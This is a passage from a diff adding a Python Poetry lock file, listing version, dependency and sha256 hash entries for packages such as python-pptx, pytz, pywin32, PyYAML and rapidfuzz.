false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "python_multipart-0.0.18-py3-none-any.whl", hash = "sha256:efe91480f485f6a361427a541db4796f9e1591afc0fb8e7a4ba06bfbc6708996"}, + {file = "python_multipart-0.0.18.tar.gz", hash = "sha256:7a68db60c8bfb82e460637fa4750727b45af1d5e2ed215593f917f64694d34fe"}, +] + +[[package]] +name = "python-pptx" +version = "1.0.2" +description = "Create, read, and update PowerPoint 2007+ (.pptx) files." +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "python_pptx-1.0.2-py3-none-any.whl", hash = "sha256:160838e0b8565a8b1f67947675886e9fea18aa5e795db7ae531606d68e785cba"}, + {file = "python_pptx-1.0.2.tar.gz", hash = "sha256:479a8af0eaf0f0d76b6f00b0887732874ad2e3188230315290cd1f9dd9cc7095"}, +] + +[package.dependencies] +lxml = ">=3.1.0" +Pillow = ">=3.3.2" +typing-extensions = ">=4.9.0" +XlsxWriter = ">=0.5.7" + +[[package]] +name = "pytz" +version = "2025.2" +description = "World timezone definitions, modern and historical" +optional = false +python-versions = "*" +groups = ["main"] +files = [ + {file = "pytz-2025.2-py2.py3-none-any.whl", hash = "sha256:5ddf76296dd8c44c26eb8f4b6f35488f3ccbf6fbbd7adee0b7262d43f0ec2f00"}, + {file = "pytz-2025.2.tar.gz", hash = "sha256:360b9e3dbb49a209c21ad61809c7fb453643e048b38924c765813546746e81c3"}, +] + +[[package]] +name = "pywin32" +version = "311" +description = "Python for Window Extensions" +optional = false +python-versions = "*" +groups = ["main"] +markers = "sys_platform == \"win32\"" +files = [ + {file = "pywin32-311-cp310-cp310-win32.whl", hash = "sha256:d03ff496d2a0cd4a5893504789d4a15399133fe82517455e78bad62efbb7f0a3"}, + {file = "pywin32-311-cp310-cp310-win_amd64.whl", hash = "sha256:797c2772017851984b97180b0bebe4b620bb86328e8a884bb626156295a63b3b"}, + {file = "pywin32-311-cp310-cp310-win_arm64.whl", hash = "sha256:0502d1facf1fed4839a9a51ccbcc63d952cf318f78ffc00a7e78528ac27d7a2b"}, + {file = "pywin32-311-cp311-cp311-win32.whl", hash = "sha256:184eb5e436dea364dcd3d2316d577d625c0351bf237c4e9a5fabbcfa5a58b151"}, + {file = "pywin32-311-cp311-cp311-win_amd64.whl", hash = "sha256:3ce80b34b22b17ccbd937a6e78e7225d80c52f5ab9940fe0506a1a16f3dab503"}, + {file = "pywin32-311-cp311-cp311-win_arm64.whl", hash = "sha256:a733f1388e1a842abb67ffa8e7aad0e70ac519e09b0f6a784e65a136ec7cefd2"}, + {file = "pywin32-311-cp312-cp312-win32.whl", hash = "sha256:750ec6e621af2b948540032557b10a2d43b0cee2ae9758c54154d711cc852d31"}, + {file = "pywin32-311-cp312-cp312-win_amd64.whl", hash = "sha256:b8c095edad5c211ff31c05223658e71bf7116daa0ecf3ad85f3201ea3190d067"}, + {file = "pywin32-311-cp312-cp312-win_arm64.whl", hash = "sha256:e286f46a9a39c4a18b319c28f59b61de793654af2f395c102b4f819e584b5852"}, + {file = "pywin32-311-cp313-cp313-win32.whl", hash = "sha256:f95ba5a847cba10dd8c4d8fefa9f2a6cf283b8b88ed6178fa8a6c1ab16054d0d"}, + {file = "pywin32-311-cp313-cp313-win_amd64.whl", hash = "sha256:718a38f7e5b058e76aee1c56ddd06908116d35147e133427e59a3983f703a20d"}, + {file = "pywin32-311-cp313-cp313-win_arm64.whl", hash = "sha256:7b4075d959648406202d92a2310cb990fea19b535c7f4a78d3f5e10b926eeb8a"}, + {file = "pywin32-311-cp314-cp314-win32.whl", hash = "sha256:b7a2c10b93f8986666d0c803ee19b5990885872a7de910fc460f9b0c2fbf92ee"}, + {file = "pywin32-311-cp314-cp314-win_amd64.whl", hash = "sha256:3aca44c046bd2ed8c90de9cb8427f581c479e594e99b5c0bb19b29c10fd6cb87"}, + {file = "pywin32-311-cp314-cp314-win_arm64.whl", hash = "sha256:a508e2d9025764a8270f93111a970e1d0fbfc33f4153b388bb649b7eec4f9b42"}, + {file = "pywin32-311-cp38-cp38-win32.whl", hash = "sha256:6c6f2969607b5023b0d9ce2541f8d2cbb01c4f46bc87456017cf63b73f1e2d8c"}, + {file = "pywin32-311-cp38-cp38-win_amd64.whl", hash = "sha256:c8015b09fb9a5e188f83b7b04de91ddca4658cee2ae6f3bc483f0b21a77ef6cd"}, + {file = "pywin32-311-cp39-cp39-win32.whl", hash = "sha256:aba8f82d551a942cb20d4a83413ccbac30790b50efb89a75e4f586ac0bb8056b"}, + {file = "pywin32-311-cp39-cp39-win_amd64.whl", hash = "sha256:e0c4cfb0621281fe40387df582097fd796e80430597cb9944f0ae70447bacd91"}, + {file = "pywin32-311-cp39-cp39-win_arm64.whl", hash = "sha256:62ea666235135fee79bb154e695f3ff67370afefd71bd7fea7512fc70ef31e3d"}, +] + +[[package]] +name = "pyyaml" +version = "6.0.2" +description = "YAML parser and emitter for Python" +optional = false +python-versions = ">=3.8" +groups = ["main", "dev"] +files = [ + {file = "PyYAML-6.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0a9a2848a5b7feac301353437eb7d5957887edbf81d56e903999a75a3d743086"}, + {file = "PyYAML-6.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:29717114e51c84ddfba879543fb232a6ed60086602313ca38cce623c1d62cfbf"}, + {file = "PyYAML-6.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8824b5a04a04a047e72eea5cec3bc266db09e35de6bdfe34c9436ac5ee27d237"}, + {file = "PyYAML-6.0.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7c36280e6fb8385e520936c3cb3b8042851904eba0e58d277dca80a5cfed590b"}, + {file = "PyYAML-6.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ec031d5d2feb36d1d1a24380e4db6d43695f3748343d99434e6f5f9156aaa2ed"}, + {file = "PyYAML-6.0.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:936d68689298c36b53b29f23c6dbb74de12b4ac12ca6cfe0e047bedceea56180"}, + {file = "PyYAML-6.0.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:23502f431948090f597378482b4812b0caae32c22213aecf3b55325e049a6c68"}, + {file = "PyYAML-6.0.2-cp310-cp310-win32.whl", hash = "sha256:2e99c6826ffa974fe6e27cdb5ed0021786b03fc98e5ee3c5bfe1fd5015f42b99"}, + {file = "PyYAML-6.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:a4d3091415f010369ae4ed1fc6b79def9416358877534caf6a0fdd2146c87a3e"}, + {file = "PyYAML-6.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cc1c1159b3d456576af7a3e4d1ba7e6924cb39de8f67111c735f6fc832082774"}, + {file = "PyYAML-6.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e2120ef853f59c7419231f3bf4e7021f1b936f6ebd222406c3b60212205d2ee"}, + {file = "PyYAML-6.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5d225db5a45f21e78dd9358e58a98702a0302f2659a3c6cd320564b75b86f47c"}, + {file = "PyYAML-6.0.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5ac9328ec4831237bec75defaf839f7d4564be1e6b25ac710bd1a96321cc8317"}, + {file = "PyYAML-6.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3ad2a3decf9aaba3d29c8f537ac4b243e36bef957511b4766cb0057d32b0be85"}, + {file = "PyYAML-6.0.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ff3824dc5261f50c9b0dfb3be22b4567a6f938ccce4587b38952d85fd9e9afe4"}, + {file = "PyYAML-6.0.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:797b4f722ffa07cc8d62053e4cff1486fa6dc094105d13fea7b1de7d8bf71c9e"}, + {file = "PyYAML-6.0.2-cp311-cp311-win32.whl", hash = "sha256:11d8f3dd2b9c1207dcaf2ee0bbbfd5991f571186ec9cc78427ba5bd32afae4b5"}, + {file = "PyYAML-6.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:e10ce637b18caea04431ce14fabcf5c64a1c61ec9c56b071a4b7ca131ca52d44"}, + {file = "PyYAML-6.0.2-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:c70c95198c015b85feafc136515252a261a84561b7b1d51e3384e0655ddf25ab"}, + {file = "PyYAML-6.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:ce826d6ef20b1bc864f0a68340c8b3287705cae2f8b4b1d932177dcc76721725"}, + {file = "PyYAML-6.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1f71ea527786de97d1a0cc0eacd1defc0985dcf6b3f17bb77dcfc8c34bec4dc5"}, + {file = "PyYAML-6.0.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:9b22676e8097e9e22e36d6b7bda33190d0d400f345f23d4065d48f4ca7ae0425"}, + {file = "PyYAML-6.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:80bab7bfc629882493af4aa31a4cfa43a4c57c83813253626916b8c7ada83476"}, + {file = "PyYAML-6.0.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:0833f8694549e586547b576dcfaba4a6b55b9e96098b36cdc7ebefe667dfed48"}, + {file = "PyYAML-6.0.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8b9c7197f7cb2738065c481a0461e50ad02f18c78cd75775628afb4d7137fb3b"}, + {file = "PyYAML-6.0.2-cp312-cp312-win32.whl", hash = "sha256:ef6107725bd54b262d6dedcc2af448a266975032bc85ef0172c5f059da6325b4"}, + {file = "PyYAML-6.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:7e7401d0de89a9a855c839bc697c079a4af81cf878373abd7dc625847d25cbd8"}, + {file = "PyYAML-6.0.2-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:efdca5630322a10774e8e98e1af481aad470dd62c3170801852d752aa7a783ba"}, + {file = "PyYAML-6.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:50187695423ffe49e2deacb8cd10510bc361faac997de9efef88badc3bb9e2d1"}, + {file = "PyYAML-6.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0ffe8360bab4910ef1b9e87fb812d8bc0a308b0d0eef8c8f44e0254ab3b07133"}, + {file = "PyYAML-6.0.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:17e311b6c678207928d649faa7cb0d7b4c26a0ba73d41e99c4fff6b6c3276484"}, + {file = "PyYAML-6.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:70b189594dbe54f75ab3a1acec5f1e3faa7e8cf2f1e08d9b561cb41b845f69d5"}, + {file = "PyYAML-6.0.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:41e4e3953a79407c794916fa277a82531dd93aad34e29c2a514c2c0c5fe971cc"}, + {file = "PyYAML-6.0.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:68ccc6023a3400877818152ad9a1033e3db8625d899c72eacb5a668902e4d652"}, + {file = "PyYAML-6.0.2-cp313-cp313-win32.whl", hash = "sha256:bc2fa7c6b47d6bc618dd7fb02ef6fdedb1090ec036abab80d4681424b84c1183"}, + {file = "PyYAML-6.0.2-cp313-cp313-win_amd64.whl", hash = "sha256:8388ee1976c416731879ac16da0aff3f63b286ffdd57cdeb95f3f2e085687563"}, + {file = "PyYAML-6.0.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:24471b829b3bf607e04e88d79542a9d48bb037c2267d7927a874e6c205ca7e9a"}, + {file = "PyYAML-6.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d7fded462629cfa4b685c5416b949ebad6cec74af5e2d42905d41e257e0869f5"}, + {file = "PyYAML-6.0.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d84a1718ee396f54f3a086ea0a66d8e552b2ab2017ef8b420e92edbc841c352d"}, + {file = "PyYAML-6.0.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9056c1ecd25795207ad294bcf39f2db3d845767be0ea6e6a34d856f006006083"}, + {file = "PyYAML-6.0.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:82d09873e40955485746739bcb8b4586983670466c23382c19cffecbf1fd8706"}, + {file = "PyYAML-6.0.2-cp38-cp38-win32.whl", hash = "sha256:43fa96a3ca0d6b1812e01ced1044a003533c47f6ee8aca31724f78e93ccc089a"}, + {file = "PyYAML-6.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:01179a4a8559ab5de078078f37e5c1a30d76bb88519906844fd7bdea1b7729ff"}, + {file = "PyYAML-6.0.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:688ba32a1cffef67fd2e9398a2efebaea461578b0923624778664cc1c914db5d"}, + {file = "PyYAML-6.0.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:a8786accb172bd8afb8be14490a16625cbc387036876ab6ba70912730faf8e1f"}, + {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8e03406cac8513435335dbab54c0d385e4a49e4945d2909a581c83647ca0290"}, + {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:f753120cb8181e736c57ef7636e83f31b9c0d1722c516f7e86cf15b7aa57ff12"}, + {file = "PyYAML-6.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3b1fdb9dc17f5a7677423d508ab4f243a726dea51fa5e70992e59a7411c89d19"}, + {file = "PyYAML-6.0.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:0b69e4ce7a131fe56b7e4d770c67429700908fc0752af059838b1cfb41960e4e"}, + {file = "PyYAML-6.0.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:a9f8c2e67970f13b16084e04f134610fd1d374bf477b17ec1599185cf611d725"}, + {file = "PyYAML-6.0.2-cp39-cp39-win32.whl", hash = "sha256:6395c297d42274772abc367baaa79683958044e5d3835486c16da75d2a694631"}, + {file = "PyYAML-6.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:39693e1f8320ae4f43943590b49779ffb98acb81f788220ea932a6b6c51004d8"}, + {file = "pyyaml-6.0.2.tar.gz", hash = "sha256:d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e"}, +] + +[[package]] +name = "rapidfuzz" +version = "3.13.0" +description = "rapid fuzzy string matching" +optional = false +python-versions = ">=3.9" +groups = ["main"] +files = [ + {file = "rapidfuzz-3.13.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:aafc42a1dc5e1beeba52cd83baa41372228d6d8266f6d803c16dbabbcc156255"}, + {file = "rapidfuzz-3.13.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:85c9a131a44a95f9cac2eb6e65531db014e09d89c4f18c7b1fa54979cb9ff1f3"}, + {file = "rapidfuzz-3.13.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7d7cec4242d30dd521ef91c0df872e14449d1dffc2a6990ede33943b0dae56c3"}, + {file = "rapidfuzz-3.13.0-cp310-cp310-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e297c09972698c95649e89121e3550cee761ca3640cd005e24aaa2619175464e"}, + {file = "rapidfuzz-3.13.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ef0f5f03f61b0e5a57b1df7beafd83df993fd5811a09871bad6038d08e526d0d"}, + {file = "rapidfuzz-3.13.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d8cf5f7cd6e4d5eb272baf6a54e182b2c237548d048e2882258336533f3f02b7"}, + {file = "rapidfuzz-3.13.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9256218ac8f1a957806ec2fb9a6ddfc6c32ea937c0429e88cf16362a20ed8602"}, + {file = "rapidfuzz-3.13.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e1bdd2e6d0c5f9706ef7595773a81ca2b40f3b33fd7f9840b726fb00c6c4eb2e"}, + {file = "rapidfuzz-3.13.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:5280be8fd7e2bee5822e254fe0a5763aa0ad57054b85a32a3d9970e9b09bbcbf"}, + {file = "rapidfuzz-3.13.0-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:fd742c03885db1fce798a1cd87a20f47f144ccf26d75d52feb6f2bae3d57af05"}, + {file = "rapidfuzz-3.13.0-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:5435fcac94c9ecf0504bf88a8a60c55482c32e18e108d6079a0089c47f3f8cf6"}, + {file = "rapidfuzz-3.13.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:93a755266856599be4ab6346273f192acde3102d7aa0735e2f48b456397a041f"}, + {file = "rapidfuzz-3.13.0-cp310-cp310-win32.whl", hash = "sha256:3abe6a4e8eb4cfc4cda04dd650a2dc6d2934cbdeda5def7e6fd1c20f6e7d2a0b"}, + {file = "rapidfuzz-3.13.0-cp310-cp310-win_amd64.whl", hash = "sha256:e8ddb58961401da7d6f55f185512c0d6bd24f529a637078d41dd8ffa5a49c107"}, + {file = "rapidfuzz-3.13.0-cp310-cp310-win_arm64.whl", hash = "sha256:c523620d14ebd03a8d473c89e05fa1ae152821920c3ff78b839218ff69e19ca3"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d395a5cad0c09c7f096433e5fd4224d83b53298d53499945a9b0e5a971a84f3a"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:b7b3eda607a019169f7187328a8d1648fb9a90265087f6903d7ee3a8eee01805"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:98e0bfa602e1942d542de077baf15d658bd9d5dcfe9b762aff791724c1c38b70"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bef86df6d59667d9655905b02770a0c776d2853971c0773767d5ef8077acd624"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:fedd316c165beed6307bf754dee54d3faca2c47e1f3bcbd67595001dfa11e969"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5158da7f2ec02a930be13bac53bb5903527c073c90ee37804090614cab83c29e"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3b6f913ee4618ddb6d6f3e387b76e8ec2fc5efee313a128809fbd44e65c2bbb2"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d25fdbce6459ccbbbf23b4b044f56fbd1158b97ac50994eaae2a1c0baae78301"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:25343ccc589a4579fbde832e6a1e27258bfdd7f2eb0f28cb836d6694ab8591fc"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:a9ad1f37894e3ffb76bbab76256e8a8b789657183870be11aa64e306bb5228fd"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:5dc71ef23845bb6b62d194c39a97bb30ff171389c9812d83030c1199f319098c"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:b7f4c65facdb94f44be759bbd9b6dda1fa54d0d6169cdf1a209a5ab97d311a75"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-win32.whl", hash = "sha256:b5104b62711565e0ff6deab2a8f5dbf1fbe333c5155abe26d2cfd6f1849b6c87"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-win_amd64.whl", hash = "sha256:9093cdeb926deb32a4887ebe6910f57fbcdbc9fbfa52252c10b56ef2efb0289f"}, + {file = "rapidfuzz-3.13.0-cp311-cp311-win_arm64.whl", hash = "sha256:f70f646751b6aa9d05be1fb40372f006cc89d6aad54e9d79ae97bd1f5fce5203"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4a1a6a906ba62f2556372282b1ef37b26bca67e3d2ea957277cfcefc6275cca7"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:2fd0975e015b05c79a97f38883a11236f5a24cca83aa992bd2558ceaa5652b26"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5d4e13593d298c50c4f94ce453f757b4b398af3fa0fd2fde693c3e51195b7f69"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ed6f416bda1c9133000009d84d9409823eb2358df0950231cc936e4bf784eb97"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1dc82b6ed01acb536b94a43996a94471a218f4d89f3fdd9185ab496de4b2a981"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:e9d824de871daa6e443b39ff495a884931970d567eb0dfa213d234337343835f"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d18228a2390375cf45726ce1af9d36ff3dc1f11dce9775eae1f1b13ac6ec50f"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:9f5fe634c9482ec5d4a6692afb8c45d370ae86755e5f57aa6c50bfe4ca2bdd87"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:694eb531889f71022b2be86f625a4209c4049e74be9ca836919b9e395d5e33b3"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:11b47b40650e06147dee5e51a9c9ad73bb7b86968b6f7d30e503b9f8dd1292db"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:98b8107ff14f5af0243f27d236bcc6e1ef8e7e3b3c25df114e91e3a99572da73"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:b836f486dba0aceb2551e838ff3f514a38ee72b015364f739e526d720fdb823a"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-win32.whl", hash = "sha256:4671ee300d1818d7bdfd8fa0608580d7778ba701817216f0c17fb29e6b972514"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-win_amd64.whl", hash = "sha256:6e2065f68fb1d0bf65adc289c1bdc45ba7e464e406b319d67bb54441a1b9da9e"}, + {file = "rapidfuzz-3.13.0-cp312-cp312-win_arm64.whl", hash = "sha256:65cc97c2fc2c2fe23586599686f3b1ceeedeca8e598cfcc1b7e56dc8ca7e2aa7"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:09e908064d3684c541d312bd4c7b05acb99a2c764f6231bd507d4b4b65226c23"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:57c390336cb50d5d3bfb0cfe1467478a15733703af61f6dffb14b1cd312a6fae"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0da54aa8547b3c2c188db3d1c7eb4d1bb6dd80baa8cdaeaec3d1da3346ec9caa"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:df8e8c21e67afb9d7fbe18f42c6111fe155e801ab103c81109a61312927cc611"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:461fd13250a2adf8e90ca9a0e1e166515cbcaa5e9c3b1f37545cbbeff9e77f6b"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c2b3dd5d206a12deca16870acc0d6e5036abeb70e3cad6549c294eff15591527"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1343d745fbf4688e412d8f398c6e6d6f269db99a54456873f232ba2e7aeb4939"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:b1b065f370d54551dcc785c6f9eeb5bd517ae14c983d2784c064b3aa525896df"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:11b125d8edd67e767b2295eac6eb9afe0b1cdc82ea3d4b9257da4b8e06077798"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:c33f9c841630b2bb7e69a3fb5c84a854075bb812c47620978bddc591f764da3d"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:ae4574cb66cf1e85d32bb7e9ec45af5409c5b3970b7ceb8dea90168024127566"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:e05752418b24bbd411841b256344c26f57da1148c5509e34ea39c7eb5099ab72"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-win32.whl", hash = "sha256:0e1d08cb884805a543f2de1f6744069495ef527e279e05370dd7c83416af83f8"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-win_amd64.whl", hash = "sha256:9a7c6232be5f809cd39da30ee5d24e6cadd919831e6020ec6c2391f4c3bc9264"}, + {file = "rapidfuzz-3.13.0-cp313-cp313-win_arm64.whl", hash = "sha256:3f32f15bacd1838c929b35c84b43618481e1b3d7a61b5ed2db0291b70ae88b53"}, + {file = "rapidfuzz-3.13.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:cc64da907114d7a18b5e589057e3acaf2fec723d31c49e13fedf043592a3f6a7"}, + {file = "rapidfuzz-3.13.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:4d9d7f84c8e992a8dbe5a3fdbea73d733da39bf464e62c912ac3ceba9c0cff93"}, + {file = "rapidfuzz-3.13.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1a79a2f07786a2070669b4b8e45bd96a01c788e7a3c218f531f3947878e0f956"}, + {file = "rapidfuzz-3.13.0-cp39-cp39-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:9f338e71c45b69a482de8b11bf4a029993230760120c8c6e7c9b71760b6825a1"}, + {file = "rapidfuzz-3.13.0-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:adb40ca8ddfcd4edd07b0713a860be32bdf632687f656963bcbce84cea04b8d8"}, + {file = "rapidfuzz-3.13.0-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:48719f7dcf62dfb181063b60ee2d0a39d327fa8ad81b05e3e510680c44e1c078"}, + {file = "rapidfuzz-3.13.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9327a4577f65fc3fb712e79f78233815b8a1c94433d0c2c9f6bc5953018b3565"}, + {file = "rapidfuzz-3.13.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:200030dfc0a1d5d6ac18e993c5097c870c97c41574e67f227300a1fb74457b1d"}, + {file = "rapidfuzz-3.13.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:cc269e74cad6043cb8a46d0ce580031ab642b5930562c2bb79aa7fbf9c858d26"}, + {file = "rapidfuzz-3.13.0-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:e62779c6371bd2b21dbd1fdce89eaec2d93fd98179d36f61130b489f62294a92"}, + {file = "rapidfuzz-3.13.0-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:f4797f821dc5d7c2b6fc818b89f8a3f37bcc900dd9e4369e6ebf1e525efce5db"}, + {file = "rapidfuzz-3.13.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:d21f188f6fe4fbf422e647ae9d5a68671d00218e187f91859c963d0738ccd88c"}, + {file = "rapidfuzz-3.13.0-cp39-cp39-win32.whl", hash = "sha256:45dd4628dd9c21acc5c97627dad0bb791764feea81436fb6e0a06eef4c6dceaa"}, + {file = "rapidfuzz-3.13.0-cp39-cp39-win_amd64.whl", hash = "sha256:624a108122039af89ddda1a2b7ab2a11abe60c1521956f142f5d11bcd42ef138"}, + {file = 